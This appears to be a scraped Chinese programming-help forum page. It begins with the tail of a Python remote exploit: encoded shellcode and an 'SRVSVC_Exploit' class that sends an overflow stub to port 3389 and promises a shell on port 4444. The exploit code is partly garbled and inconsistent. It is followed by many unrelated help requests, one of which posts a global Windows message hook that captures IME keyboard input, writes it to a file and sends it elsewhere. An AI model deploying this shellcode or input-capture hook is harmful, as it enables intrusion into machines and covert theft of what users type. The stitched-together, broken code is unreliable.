'\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x49\x49\x49\x49\x49\x49'rnpayload += '\x49\x49\x49\x49\x49\x49\x49\x49\x49\x37\x49\x49\x51\x5a\x6a\x68'rnpayload += '\x58\x30\x41\x31\x50\x42\x41\x6b\x42\x41\x78\x42\x32\x42\x41\x32'rnpayload += '\x41\x41\x30\x41\x41\x58\x38\x42\x42\x50\x75\x4b\x59\x49\x6c\x43'rnpayload += '\x5a\x7a\x4b\x32\x6d\x5a\x48\x5a\x59\x69\x6f\x4b\x4f\x39\x6f\x71'rnpayload += '\x70\x6e\x6b\x62\x4c\x44\x64\x71\x34\x4c\x4b\x62\x65\x75\x6c\x4c'rnpayload += '\x4b\x63\x4c\x76\x65\x70\x78\x35\x51\x48\x6f\x6c\x4b\x50\x4f\x74'rnpayload += '\x58\x6e\x6b\x33\x6f\x55\x70\x37\x71\x48\x6b\x57\x39\x6c\x4b\x66'rnpayload += '\x54\x6e\x6b\x46\x61\x7a\x4e\x47\x41\x6b\x70\x7a\x39\x4c\x6c\x4c'rnpayload += '\x44\x6f\x30\x62\x54\x44\x47\x38\x41\x4b\x7a\x54\x4d\x44\x41\x4b'rnpayload += '\x72\x78\x6b\x39\x64\x35\x6b\x53\x64\x75\x74\x46\x48\x72\x55\x79'rnpayload += '\x75\x6c\x4b\x53\x6f\x76\x44\x44\x41\x48\x6b\x35\x36\x4e\x6b\x54'rnpayload += '\x4c\x30\x4b\x6c\x4b\x51\x4f\x65\x4c\x65\x51\x38\x6b\x77\x73\x36'rnpayload += '\x4c\x4e\x6b\x6e\x69\x30\x6c\x66\x44\x45\x4c\x30\x61\x69\x53\x30'rnpayload += '\x31\x79\x4b\x43\x54\x6c\x4b\x63\x73\x44\x70\x4e\x6b\x77\x30\x66'rnpayload += '\x6c\x6c\x4b\x72\x50\x45\x4c\x4c\x6d\x4e\x6b\x73\x70\x64\x48\x73'rnpayload += '\x6e\x55\x38\x6e\x6e\x32\x6e\x34\x4e\x58\x6c\x62\x70\x39\x6f\x6b'rnpayload += '\x66\x70\x66\x61\x43\x52\x46\x71\x78\x30\x33\x55\x62\x63\x58\x63'rnpayload += '\x47\x34\x33\x65\x62\x41\x4f\x30\x54\x39\x6f\x4a\x70\x52\x48\x5a'rnpayload += '\x6b\x38\x6d\x6b\x4c\x75\x6b\x30\x50\x6b\x4f\x6e\x36\x53\x6f\x6f'rnpayload += '\x79\x4a\x45\x32\x46\x6f\x71\x6a\x4d\x34\x48\x77\x72\x73\x65\x73'rnpayload += '\x5a\x37\x72\x69\x6f\x58\x50\x52\x48\x4e\x39\x76\x69\x4a\x55\x4c'rnpayload += '\x6d\x32\x77\x69\x6f\x59\x46\x50\x53\x43\x63\x41\x43\x70\x53\x70'rnpayload += '\x53\x43\x73\x50\x53\x62\x63\x70\x53\x79\x6f\x6a\x70\x35\x36\x61'rnpayload += '\x78\x71\x32\x78\x38\x71\x76\x30\x53\x4b\x39\x69\x71\x4d\x45\x33'rnpayload += '\x58\x6c\x64\x47\x6a\x74\x30\x5a\x67\x43\x67\x79\x6f\x39\x46\x32'rnpayload += '\x4a\x56\x70\x66\x31\x76\x35\x59\x6f\x58\x50\x32\x48\x4d\x74\x4e'rnpayload += '\x4d\x66\x4e\x7a\x49\x50\x57\x6b\x4f\x6e\x36\x46\x33\x56\x35\x39'rnpayload += '\x6f\x78\x50\x33\x58\x6b\x55\x51\x59\x4e\x66\x50\x49\x51\x47\x39'rnpayload += '\x6f\x48\x56\x32\x70\x32\x74\x62\x74\x46\x35\x4b\x4f\x38\x50\x6e'rnpayload += '\x73\x55\x38\x4d\x37\x71\x69\x69\x56\x71\x69\x61\x47\x6b\x4f\x6e'rnpayload += '\x36\x36\x35\x79\x6f\x6a\x70\x55\x36\x31\x7a\x71\x74\x32\x46\x51'rnpayload += '\x78\x52\x43\x70\x6d\x4f\x79\x4d\x35\x72\x4a\x66\x30\x42\x79\x64'rnpayload += '\x69\x7a\x6c\x4b\x39\x48\x67\x62\x4a\x57\x34\x4f\x79\x6d\x32\x37'rnpayload += '\x41\x6b\x70\x7a\x53\x6e\x4a\x69\x6e\x32\x62\x46\x4d\x6b\x4e\x70'rnpayload += '\x42\x44\x6c\x4c\x53\x6e\x6d\x31\x6a\x64\x78\x4c\x6b\x4e\x4b\x4e'rnpayload += '\x4b\x43\x58\x70\x72\x69\x6e\x6d\x63\x37\x66\x79\x6f\x63\x45\x73'rnpayload += '\x74\x4b\x4f\x7a\x76\x63\x6b\x31\x47\x72\x72\x41\x41\x50\x51\x61'rnpayload += '\x41\x70\x6a\x63\x31\x41\x41\x46\x31\x71\x45\x51\x41\x4b\x4f\x78'rnpayload += '\x50\x52\x48\x4c\x6d\x79\x49\x54\x45\x38\x4e\x53\x63\x6b\x4f\x6e'rnpayload += '\x36\x30\x6a\x49\x6f\x6b\x4f\x70\x37\x4b\x4f\x4e\x30\x4e\x6b\x30'rnpayload += '\x57\x69\x6c\x6b\x33\x4b\x74\x62\x44\x79\x6f\x6b\x66\x66\x32\x6b'rnpayload += '\x4f\x4e\x30\x53\x58\x58\x70\x4e\x6a\x55\x54\x41\x4f\x52\x73\x4b'rnpayload += '\x4f\x69\x46\x4b\x4f\x6e\x30\x68';rnrnrnclass SRVSVC_Exploit(Thread):rn def __init__(self, target, port=3389):rn super(SRVSVC_Exploit, self).__init__()rn self.__port = portrn self.target = targetrn rn rn def __DCEPacket(self):rn print '[-]Connecting'rn self.__trans = rdp.transport.cert('rdp_np:%s\\x00\\x89]' % self.target)rn self.__trans.connect()rn print '[-]connected' % self.targetrnrn # Making teh packetrn self.__stub='\x01\x00\x00\x00'rn self.__stub+='\xd6\x00\x00\x00\x00\x00\x00\x00\xd6\x00\x00\x00'rn self.__stub+=shellcodern self.__stub+='\x41\x41\x41\x41\x41\x41\x41\x41'rn self.__stub+='\x41\x41\x41\x41\x41\x41\x41\x41'rn self.__stub+='\x41\x41\x41\x41\x41\x41\x41\x41'rn self.__stub+='\x41\x41\x41\x41\x41\x41\x41\x41'rn self.__stub+='\x41\x41\x41\x41\x41\x41\x41\x41'rn self.__stub+='\x41\x41\x41\x41\x41\x41\x41\x41'rn self.__stub+='\x41\x41\x41\x41\x41\x41\x41\x41'rn self.__stub+='\x41\x41\x41\x41\x41\x41\x41\x41'rn self.__stub+='\x00\x00\x00\x00'rn self.__stub+='\x2f\x00\x00\x00\x00\x00\x00\x00\x2f\x00\x00\x00'rn self.__stub+=payloadrn self.__stub+='\x00\x00\x00\x00'rn self.__stub+='\x02\x00\x00\x00\x02\x00\x00\x00'rn self.__stub+='\x00\x00\x00\x00\x02\x00\x00\x00'rn self.__stub+='\x5c\x00\x00\x00\x01\x00\x00\x00'rn self.__stub+='\x01\x00\x00\x00\x90\x90\xb0\x53\x6b\xC0\x28\x03\xd8\xff\xd3'rn returnrn rn rn def run(self):rn self.__DCEPacket()rn self.__dce.call(0x1f, self.__stub) rn print '[-]Exploit successfull!...\nTelnet to port 4444 on target machine.'rn rn rnif __name__ == '__main__':rn target = sys.argv[1]rn print '\nUsage: %s \n' % sys.argv[0]rn sys.exit(-1)rn rncurrent = SRVSVC_Exploit(target)rncurrent.start()rn
花了7个小时没解决的问题!跪求高手帮忙解决!!
http://993405.10gmianfei.com.cn/ 最右边的那个注册会员的表格 怎么那么高 而且还修改不了,网页太长导致网页底部显示不出来?谁能<em>解决</em>呀???
跪求高手帮忙解决Activex部件不能创建对象(解决结帐)
而且我的控制面板中的所有应用程序都不能删除和更改,还有以下提示rnAn unexpected error occurred.rn没有注册类别rnres://appwiz.cpl/listbos.htmrnline:225
跪求高手帮忙!请高手进来解决!一定给分!
我现在有一段代码!rnrn'引用Microsoft Scripting Runtimern'引用Microsoft Script Control 1.0rnPrivate Sub Command1_Click()rnDim fso As New FileSystemObjectrnDim CreateItrnSet CreatIt = fso.CreateTextFile("D:\你好.txt", True)rnEnd SubrnrnPrivate Sub Command2_Click()rnDim fso As New FileSystemObjectrnKill "D:\你好.txt"rnDim CreateItrnSet CreatIt = fso.CreateTextFile("D:\谢谢,我很好!.txt", True)rnEnd SubrnrnPrivate Sub Command3_Click()rnrnOpen "D:\谢谢,我很好!.txt" For Output As #1rn Print #1, "你呢?"rn Close #1rnrnEnd SubrnrnPrivate Sub Command4_Click()rnKill "D:\谢谢,我很好!.txt"rnEnd Subrnrn我需要在第一步的代码中新建文件《你好.txt》的同时在读取另一个在D:\*.txt中的全部字符!rnrn然后在第三步的代码中替换第一步读取数据的文件《你好.txt》里所有带括号的字符为《你呢!》rnrn那位<em>高手</em>能帮帮我啊!求帮助了!谢谢<em>高手</em>了一定给分啊!rnrn
跪求大家帮忙解决给分。
<em>跪求</em>大家<em>帮忙</em>,<em>解决</em>给分。rn问题:rn没用过vc,第一次用。rn现在是,vc开发的一个ocx控件rn有个vb程序,正好使用了这个控件,问题就是rn在vc中我怎么调试(debug)这个控件,因为有错误。
浏览器兼容问题,跪求高手帮忙。。。
愿意<em>帮忙</em>的好心人请用不同的浏览器进入[url=http://www.surakichina.com]www.surakichina.com[/url],然后进入English版面,360浏览器,IE浏览器,搜狗浏览器显示的版面都是乱的,只有谷歌是正常的,请<em>高手</em>帮我看看,怎么使我做的网站与浏览器兼容。还有个问题,在国外登这个网站说不安全,有黑客和病毒,这是为什么?<em>跪求</em><em>高手</em><em>帮忙</em>。。。
跪求高手帮忙写PHP代码
滚动字幕的代码怎么写,滚动的内容怎么从数据库中显示出来
跪求高手帮忙啊!!!
rnrn rnrnrn这个程序是实现:如果顾客填的是是非数值型,那么就显示“非数值型”!rn但我的程序要求实现的是顾客满意度,但很显然它的数值范围在0-100!但我现在填了比如101,它还是会提交,请问<em>高手</em>们我要怎么做才能使我的程序能够完善到当我填了101时,它会显示“这个数值不在此范围内,请重新写”rn谢谢,在线等!!
跪求帮忙高手进来看看...
WH_GETMESSAGE类型全局钩子在WIN7的64位系统上无法截获记事本输入消息,也无法截获记事本任何消息包括控制台程序以及文件重命名的输入,但是在WIN7的32位系统上都能截获,这就奇怪了,我查看了2个系统的IMM32.DLL,32位系统上是115K,64位系统上是167K,大小都不一样,由此怀疑是不是库的问题,因为我WINDOWS SDK 更新到 V7.0 ,但是不敢肯定是这个导致的。rnrn 有木有<em>高手</em>可以讲解一下,我会继续试验,希望大虾<em>帮忙</em>,先谢谢!rnrn 钩子代码放在DLL中,如下:rnrnBOOL APIENTRY DllMain( HMODULE hModule,rn DWORD ul_reason_for_call,rn LPVOID lpReservedrn )rnrn switch (ul_reason_for_call)rn rn case DLL_PROCESS_ATTACH:rn g_hHinstance = (HINSTANCE)hModule;rn break;rn case DLL_THREAD_ATTACH:rn case DLL_THREAD_DETACH:rn case DLL_PROCESS_DETACH:rn break;rn rn return TRUE;rnrnrnLRESULT CALLBACK MessageProc(int nCode,WPARAM wParam,LPARAM lParam)rnrn PMSG pmsg = (PMSG)lParam;rn if (nCode == HC_ACTION || nCode == HC_NOREMOVE)rn rn switch (pmsg->message)rn rn case WM_IME_COMPOSITION:rn rn if(pmsg->lParam & GCS_RESULTSTR)rn rn HIMC hIMC = NULL;rn HWND hWnd = pmsg->hwnd;rn DWORD dwSize = 0;rn if (hWnd)rn rn hIMC = ImmGetContext(hWnd);rn if (hIMC)rn rn//////////////////////////////////////////////////////////////////////////rn dwSize = ImmGetCompositionString(hIMC, GCS_RESULTSTR, NULL, 0);rn dwSize += sizeof(WCHAR);rn memset(lpstr, 0, 20);rn ImmGetCompositionString(hIMC, GCS_RESULTSTR, lpstr, dwSize);rnrn strcat(lpstr," --- From WM_IME_COMPOSITION");rn writefile(lpstr);rn rn ImmReleaseContext(hWnd, hIMC);rn rn rn rn break;rn case WM_IME_NOTIFY:rn rn memset(lpCandStr,0,256);rn if (pmsg->wParam & IMN_CHANGECANDIDATE)rn rn DWORD dwSize = 0;rn HIMC hIMC = NULL;rn HWND hWnd = pmsg->hwnd;rn CANDIDATELIST* stCandList = NULL;rn if(hWnd)rn rn hIMC = ImmGetContext(hWnd);rn if (hIMC)rn rn dwSize = ImmGetCandidateList(hIMC,0,NULL,0);rn dwSize += sizeof(WCHAR);rn stCandList = (CANDIDATELIST*)new BYTE[dwSize];rn memset(stCandList,0,dwSize);rnrnImmGetCandidateList(hIMC,0,stCandList,dwSize);rnrnstrcat(lpCandStr,GETLPCANDSTR(stCandList,stCandList->dwSelection));rn SendTxt(lpCandStr);rn delete []stCandList;rn rn ImmReleaseContext(hWnd, hIMC);rn rn rn rn rn break;rn default:rn break;rn rn rn LRESULT lResult = CallNextHookEx(g_hHook, nCode, wParam, lParam);rn return(lResult);rnrnrnDLL_OBJECT_API BOOL InstallHook(HWND hWnd) rnrn hMsgWnd = hWnd;rnrn g_hHook = SetWindowsHookEx(WH_GETMESSAGE,(HOOKPROC)MessageProc,g_hHinstance,0);rnrn if (NULL == g_hHook)rn return FALSE;rn return TRUE;rnrnrnDLL 的头文件:rnrn#pragma oncernrn#ifdef DLL_OBJECT_EXPORTSrnrn#define DLL_OBJECT_API __declspec(dllexport)rnrn#elsernrn#define DLL_OBJECT_API __declspec(dllimport)rnrn#endifrnrnDLL_OBJECT_API BOOL InstallHook(HWND hWnd);rnrnDLL_OBJECT_API BOOL UnHook();rnrn#define WM_SENDTXT WM_USER + 1001rnrnrn调用的代码 如下:rnrn#include "IME_HookDLL.h"rn#pragma comment(lib,"IME_HookDLL.lib")rnrnrnBOOL bFlag = InstallHook(m_hWnd);rnrn
界面,跪求帮忙跪求帮忙跪求帮忙跪求帮忙跪求帮忙
问题:rn一个对话框的程序,上面很多控件。某个控件接受到一个单击消息后变为不可用,当有另外的控件有接收到单击消息后,前面不可用的控件变为可用,而当前受点击的控件变为不可用.rnrn哪位大侠给我点思路啊!谢谢了
紧急求救,跪求高手帮忙
2014-4-13 22:38:50 org.apache.catalina.startup.HostConfig checkResourcesrn信息: Reloading context [/bookstore]rn2014-4-13 22:38:50 org.apache.catalina.core.StandardContext stoprn信息: Container org.apache.catalina.core.ContainerBase.[Catalina].[localhost].[/bookstore] has not been startedrn2014-4-13 22:38:56 org.apache.catalina.core.StandardContext addApplicationListenerrn信息: The listener "com.sun.faces.util.ReflectionUtils$ReflectionUtilsListener" is already configured for this context. The duplicate definition has been ignored.rn2014-4-13 22:38:56 org.apache.catalina.core.StandardContext addApplicationListenerrn信息: The listener "com.sun.faces.config.ConfigureListener" is already configured for this context. The duplicate definition has been ignored.rn2014-4-13 22:38:56 org.apache.catalina.core.StandardContext addApplicationListenerrn信息: The listener "com.sun.faces.application.WebappLifecycleListener" is already configured for this context. The duplicate definition has been ignored.rn2014-4-13 22:38:57 org.apache.catalina.core.ApplicationContext logrn信息: Initializing Spring root WebApplicationContextrnlog4j:WARN No appenders could be found for logger (org.springframework.web.context.ContextLoader).rnlog4j:WARN Please initialize the log4j system properly.rn2014-4-13 22:39:05 org.apache.catalina.core.StandardContext listenerStartrn严重: Exception sending context initialized event to listener instance of class org.springframework.web.context.ContextLoaderListenerrnorg.springframework.beans.factory.BeanCreationException: Error creating bean with name 'sessionFactory' defined in ServletContext resource [/WEB-INF/applicationContext.xml]: Invocation of init method failed; nested exception is org.hibernate.HibernateException: Unable to instantiate default tuplizer [org.hibernate.tuple.entity.PojoEntityTuplizer]rnCaused by: org.hibernate.HibernateException: Unable to instantiate default tuplizer [org.hibernate.tuple.entity.PojoEntityTuplizer]rn at org.hibernate.tuple.entity.EntityTuplizerFactory.constructTuplizer(EntityTuplizerFactory.java:110)rn at org.hibernate.tuple.entity.EntityTuplizerFactory.constructDefaultTuplizer(EntityTuplizerFactory.java:135)rn at org.hibernate.tuple.entity.EntityEntityModeToTuplizerMapping.(EntityEntityModeToTuplizerMapping.java:56)rn at org.hibernate.tuple.entity.EntityMetamodel.(EntityMetamodel.java:323)rn at org.hibernate.persister.entity.AbstractEntityPersister.(AbstractEntityPersister.java:433)rn at org.hibernate.persister.entity.SingleTableEntityPersister.(SingleTableEntityPersister.java:109)rn at org.hibernate.persister.PersisterFactory.createClassPersister(PersisterFactory.java:55)rn at org.hibernate.impl.SessionFactoryImpl.(SessionFactoryImpl.java:231)rn at org.hibernate.cfg.Configuration.buildSessionFactory(Configuration.java:1313)rn at org.springframework.orm.hibernate3.LocalSessionFactoryBean.newSessionFactory(LocalSessionFactoryBean.java:805)rn at org.springframework.orm.hibernate3.LocalSessionFactoryBean.buildSessionFactory(LocalSessionFactoryBean.java:745)rn at org.springframework.orm.hibernate3.AbstractSessionFactoryBean.afterPropertiesSet(AbstractSessionFactoryBean.java:134)rn at org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory.invokeInitMethods(AbstractAutowireCapableBeanFactory.java:1203)rn at org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory.initializeBean(AbstractAutowireCapableBeanFactory.java:1172)rn at org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory.createBean(AbstractAutowireCapableBeanFactory.java:427)rn at org.springframework.beans.factory.support.AbstractBeanFactory$1.getObject(AbstractBeanFactory.java:249)rn at org.springframework.beans.factory.support.DefaultSingletonBeanRegistry.getSingleton(DefaultSingletonBeanRegistry.java:155)rn at org.springframework.beans.factory.support.AbstractBeanFactory.getBean(AbstractBeanFactory.java:246)rn at org.springframework.beans.factory.support.AbstractBeanFactory.getBean(AbstractBeanFactory.java:160)rn at org.springframework.beans.factory.support.DefaultListableBeanFactory.preInstantiateSingletons(DefaultListableBeanFactory.java:285)rn at org.springframework.context.support.AbstractApplicationContext.refresh(AbstractApplicationContext.java:352)rn at org.springframework.web.context.ContextLoader.createWebApplicationContext(ContextLoader.java:246)rn at org.springframework.web.context.ContextLoader.initWebApplicationContext(ContextLoader.java:189)rn at org.springframework.web.context.ContextLoaderListener.contextInitialized(ContextLoaderListener.java:49)rn at org.apache.catalina.core.StandardContext.listenerStart(StandardContext.java:3934)rn at org.apache.catalina.core.StandardContext.start(StandardContext.java:4429)rn at org.apache.catalina.startup.HostConfig.checkResources(HostConfig.java:1173)rn at org.apache.catalina.startup.HostConfig.check(HostConfig.java:1271)rn at org.apache.catalina.startup.HostConfig.lifecycleEvent(HostConfig.java:296)rn at org.apache.catalina.util.LifecycleSupport.fireLifecycleEvent(LifecycleSupport.java:119)rn at org.apache.catalina.core.ContainerBase.backgroundProcess(ContainerBase.java:1337)rn at org.apache.catalina.core.ContainerBase$ContainerBackgroundProcessor.processChildren(ContainerBase.java:1601)rn at org.apache.catalina.core.ContainerBase$ContainerBackgroundProcessor.processChildren(ContainerBase.java:1610)rn at org.apache.catalina.core.ContainerBase$ContainerBackgroundProcessor.run(ContainerBase.java:1590)rn at java.lang.Thread.run(Thread.java:619)rnCaused by: java.lang.reflect.InvocationTargetExceptionrn at sun.reflect.NativeConstructorAccessorImpl.newInstance0(Native Method)rn at sun.reflect.NativeConstructorAccessorImpl.newInstance(NativeConstructorAccessorImpl.java:39)rn at sun.reflect.DelegatingConstructorAccessorImpl.newInstance(DelegatingConstructorAccessorImpl.java:27)rn at java.lang.reflect.Constructor.newInstance(Constructor.java:513)rn at org.hibernate.tuple.entity.EntityTuplizerFactory.constructTuplizer(EntityTuplizerFactory.java:107)rn ... 34 morernCaused by: java.lang.NoSuchMethodError: org.objectweb.asm.ClassVisitor.visit(IILjava/lang/String;Ljava/lang/String;[Ljava/lang/String;Ljava/lang/String;)Vrn at net.sf.cglib.core.ClassEmitter.begin_class(ClassEmitter.java:77)rn at net.sf.cglib.core.KeyFactory$Generator.generateClass(KeyFactory.java:173)rn at net.sf.cglib.core.DefaultGeneratorStrategy.generate(DefaultGeneratorStrategy.java:25)rn at net.sf.cglib.core.AbstractClassGenerator.create(AbstractClassGenerator.java:216)rn at net.sf.cglib.core.KeyFactory$Generator.create(KeyFactory.java:145)rn at net.sf.cglib.core.KeyFactory.create(KeyFactory.java:117)rn at net.sf.cglib.core.KeyFactory.create(KeyFactory.java:108)rn at net.sf.cglib.core.KeyFactory.create(KeyFactory.java:104)rn at net.sf.cglib.proxy.Enhancer.(Enhancer.java:69)rn at org.hibernate.proxy.pojo.cglib.CGLIBLazyInitializer.getProxyFactory(CGLIBLazyInitializer.java:117)rn at org.hibernate.proxy.pojo.cglib.CGLIBProxyFactory.postInstantiate(CGLIBProxyFactory.java:43)rn at org.hibernate.tuple.entity.PojoEntityTuplizer.buildProxyFactory(PojoEntityTuplizer.java:188)rn at org.hibernate.tuple.entity.AbstractEntityTuplizer.(AbstractEntityTuplizer.java:128)rn at org.hibernate.tuple.entity.PojoEntityTuplizer.(PojoEntityTuplizer.java:78)rn ... 39 morern2014-4-13 22:39:05 org.apache.catalina.core.StandardContext startrn严重: Error listenerStartrn2014-4-13 22:39:05 org.apache.catalina.core.StandardContext startrn严重: Context [/bookstore] startup failed due to previous errorsrn2014-4-13 22:39:05 org.apache.catalina.core.ApplicationContext logrn信息: Closing Spring root WebApplicationContext
网站出问题,跪求高手帮忙
[url=http://www.xsks.gov.cn]www.xsks.gov.cn[/url]可能是被挂了马了,但是打开没问题
跪求Javascript高手帮忙改改.................
这是原来的rn[code=JScript]function inCheck()rn rnif(document.form1.hotel_id.value ==0)rnrn alert("id不能为空");rn document.form1.hotel_id.focus();rn return false;rnrnelse if(document.form1.content.value == 0)rnrn alert("内容介绍不能为空");rn document.form1.content.focus();rn return false;rnrnelse if(document.form1.start_date.value == 0)rnrnalert("开始时间不能为空");rndocument.form1.start_date.focus();rnreturn false;rnrnelse if(document.form1.end_date.value == 0)rnrnalert("结束时间不能为空");rndocument.form1.end_date.focus();rnreturn false;rnrnelse if(document.form1.s_type.value == 0)rnrnalert("type不能为空");rndocument.form1.s_type.focus();rnreturn false;rnrnelsern return true;rnrnrn[/code]rnrn这是改后的,可是不对,大侠<em>帮忙</em>改改rn[code=JScript]function inCheck()rndocument.getElementById('text_name').focus();rnrnfunction Check()rn if(document.getElementById('text_name').value == 0)rnalert("请输入指定的信息");rnreturn false;rnrnreturn true;rn[/code]
求助!!!跪求高手帮忙
struct Contentrnrnrnrnint a;rnrnint * num;rnrnint * trr;rnrnrnrn rnrnvoid fun(Content *p1)rnrnrnrn static Content p2;rnrn p2.num = 1;rnrn *p1.num = p2.num; //这一步崩溃了!rnrnrnint main()rnrnrnrn static Content p;rnrn fun(&p);rnrn return 0;rnrnrnrn1、fun()函数不能改rn2、main函数里我不能malloc这个p。rnrn怎么才能<em>解决</em>这个崩溃问题。<em>跪求</em><em>高手</em>帮助!rn
web.config配置问题,跪求高手帮忙
我在自己的在电脑上winxp调试配置IIS程序一切正常,今天我把编好的程序放在win2003服务器上配置IIS服务程序,出现如下问题rn“/”应用程序中的服务器错误。rn配置错误 rn说明: 在处理向该请求提供服务所需的配置文件时出错。请检查下面的特定错误详细信息并适当地修改配置文件。 rn分析器错误信息: 无法识别的属性“type”。rn源错误: rn行 10: rn行 11: rn行 12: rn行 13: rn行 14: rn源文件: C:\Inetpub\bookManage\web.config 行: 12 rn版本信息: Microsoft .NET Framework 版本:1.1.4322.573; ASP.NET 版本:1.1.4322.573 rnrn我的我不知道什么原因了,开发这个程序的时候我用的是VS2008+SQL2005,我在win2003上装的是SQL2000我现在已经把数据导进去了,rn在winXP下一切正常 rn rn<em>跪求</em><em>高手</em>解答。小弟谢谢了rnrnrn
100分跪求高手帮忙
rntelnet 服务器的1433端口rn一会连得上一会又连不上,(在服务器上telnet 服务器的1433端口也是这样)rn可能是什么原因?rn服务器装的是win2003,现在没有装杀毒软件rn安全策略已经降到最低rn快救我啊
高手帮忙分析——跪求
MOV AX,DATArnrnMOV DS,AXrnrnMOV ES,AXrnrnMOV BP,OFFSET SPACErnrnMOV DX,0B00H ;这里开始至末尾rnrnMOV CX,1000rnrnMOV BX,0040HrnrnMOV AX,1300HrnrnINT 10H ;[color=#99CC00]我知道这是一个BIOS显示功能调用的作用,但是不知道他具体的含义。。请<em>高手</em><em>帮忙</em>分析[/color]
MySql菜鸟,跪求高手帮忙
rn 前不久我安装了MySql,并更改了密码为1234,而且安装了phpMyadmin,都没有问题一切正常;前天因为装了一个基于MySql的OA系统(泛微协同办公标准版(e-office)),我的MySql就一直登录不进去了,出现以下的提示:rnrnC:\mysql\bin>mysql -u root -prnEnter password:****rnERROR 1045: Access denied for user: 'root@localhost' (Using password: YES)rnrn我知道是Mysql的密码被改了,该死的OA系统,请问哪位大侠能帮帮我,小弟多谢啦!!rnrn
跪求各位高手帮忙啊!!!!!
兄弟有个问题实在是做不出来了,给位能否帮一把rnrnrn复数z=a+bi,其中a和b是浮点数,分别称为实部和虚部,I代表-1的平方根。复数的除法定义为:rn( a + b i ) / ( c + d i ) = ( a c + b d ) / ( c2 + d2) + [ ( b c – a d ) / ( c2+d2 ) ] irn 要求实现一个表示复数的类Complex,并且完成以下操作:rn (1)、重载+和/,以支持复数的加法和除法运算;rn (2)、设计默认构造函数,将实部和虚部设为零;rn (3)、要求使用C++差错捕获机制,处理错误;rn (4)、有简单德测试程序。rn
!跪求高手解决 :org.springframework.jdbc.BadSqlGrammarException : SqlMapClient...
困扰小弟一天了就是没有得到<em>解决</em>的问题:用flex+Spring+blazds+ibatis做的oracle数据库的东西,就出现这个东西rn [RPC Fault faultString="org.springframework.jdbc.BadSqlGrammarException : SqlMapClient operation; bad SQL grammar []; nested exception is com.ibatis.common.jdbc.exception.NestedSQLException: rn--- The error occurred in com.cons.taxi.gis.xml. rn--- The error occurred while applying a parameter map. rn--- Check the MapOp.getCompanyDetail-InlineParameterMap. rn--- Check the statement (query failed). rn--- Cause: java.sql.SQLException: ORA-00911: 无效字符rn" faultCode="Server.Processing" faultDetail="null"]rnrnrntest.mxml代码是:rn[code=XML]rnrnrnrn rn rn rn rn rn rn rn rn import mx.collections.ArrayCollection;rn import mx.controls.Alert;rn import mx.rpc.events.FaultEvent;rn import mx.rpc.events.ResultEvent;rn rn [Bindable]rn private var companys:Object;rn rn private function result_handler(event:ResultEvent):voidrn companys = event.result as ArrayCollection;rn rn private function fault_handler(event:FaultEvent):voidrn Alert.show(event.fault.toString(),"fault");rn rn private function init():voidrn mapOpAction.getCompanyDetail();rn rn //向windowshade中添加公司信息rn rn rn rn rn rn rn rnrnrn[/code]rn查找的是我在数据库里边的一个表rnsql语句为:select T.ID,T.ENTERPRISENAME, T.ENTERPRISESHORTNAME, T.ENTERPRISEINTRODUCE rnfrom TBL_TAXI_ENTERPRISE T;rn我在plsql中使用这个sql语句是可以查出东西的。可是为什么在代码里会出现这个错误呢。。。rn[color=#FF0000]rn求<em>高手</em><em>解决</em>....[/color]rnrnrn
网站报错,跪求高手解决
Server Error in '/' Application. rn________________________________________rnConnection must be valid and open rnDescription: An unhandled exception occurred during the execution of the current web request. Please review the stack trace for more information about the error and where it originated in the code. rnrnException Details: System.InvalidOperationException: Connection must be valid and openrnrnSource Error: rnrnLine 630: da.SelectCommand = com;rnLine 631: DataSet ds = new DataSet();rnLine 632: da.Fill(ds);rnLine 633: return ds;rnLine 634: rnrnSource File: d:\App_Code\DAL\main_News.cs Line: 632 rnrnrn错误如上,貌似每次都是在很多人访问的时候,网站就出现这个页面,随便将某个源代码修改然后保存后即可正常打开,请问这是什么问题啊
正则表达式的问题,跪求高手解决!!
73请问大家有如何用正则表达式去匹配。我想要得来73这个值呢??我这样子写是得不到的呀。\s([^>]+) 但是这样子写是可以得到单元格的字符串  <em>高手</em>帮<em>帮忙</em>的呀!!感激不尽!!!
跪求高手解决这个问题!!!!
采用行逻辑链接的顺序表存储图的邻接矩阵,编制图的基本操作
JXTA 的问题 跪求高手解决
我在局域网的一台电脑上启动了一个RDV,并给RDV注册了一个RendezvousListener,当有节点连接的时候,就会打印“发现连接”,在局域网的另一台电脑上启动一个客服端去连接RDV,客户端可以成功连接RDV,并且RDV也和客户端建立了连接,打印出了“发现连接”,我在路由器里设置启动RDV的电脑为DMZ主机,把RDV放入了公网,然后用外网的电脑启动客户端去连接这个RDV,RDV的控制台日志里打印出了“connnection from IP地址”,说明外网的客户端已经连接到了这个RDV,但就是不能建立连接,给RDV注册的RendezvousListener也没反应,外网的客户端也显示和RDV连接不成功,调试了好久也不知道是什么原因,<em>跪求</em><em>高手</em>帮我<em>解决</em>.....
跪求高手解决ssh问题
数据库有数据,但就是查询不到,用的sqlserver2005,rn代码如下:rnrnpublic T queryEntity(T t,Serializable id) throws Exceptionrn tryrn return (T) this.getHibernateTemplate().load(Class.forName(t.getClass().getName()), id);rn rn catch(RuntimeException e)rn logger.error("查询实体异常"+t.getClass().getName(),e);rn throw e;rn rn rnrnrn测试类:rnpublic class Test rn public static void main(String[] args) rn Function function =new Function();rn AuthorityDaoImpl authorityDaoImpl=new AuthorityDaoImpl();rn try rn authorityDaoImpl.queryAllEntity(function);rn catch (Exception e) rn // TODO Auto-generated catch blockrn e.printStackTrace();rnrn rn rnrnrnrnrn报如下错误:rnrnrnlog4j:WARN No appenders could be found for logger (com.hr.platform.dao.BaseHibernateDao).rnlog4j:WARN Please initialize the log4j system properly.rnjava.lang.NullPointerExceptionrn at com.hr.platform.dao.BaseHibernateDao.queryAllEntity(BaseHibernateDao.java:63)rn at com.hr.authority.test.Test.main(Test.java:11)rn
JavaMail的问题...跪求高手解决~!
我写了一个发送邮件的小测试代码~!rn用SMTP服务器发送时出现了问题,不知道怎么<em>解决</em>.rn当用普通的免费邮箱时,SMTP服务器正常.rn比如: rn用户名:abcrn密码:123rnsmtp: smtp.163.comrn这种普通的服务器可以通过.rn当用企业邮箱(263的)时,则无论如何都验证不过去.rn比如:rn用户名:abc@XXX.com(服务商告诉,必须用企业邮箱的全部地址)rn密码: 123rnsmtp: smtp.263xmail.comrn这是怎么回事~?rn我估计还是用户名有些问题,可是要怎么<em>解决</em>(直接用abc时绝对通不过的,试过)
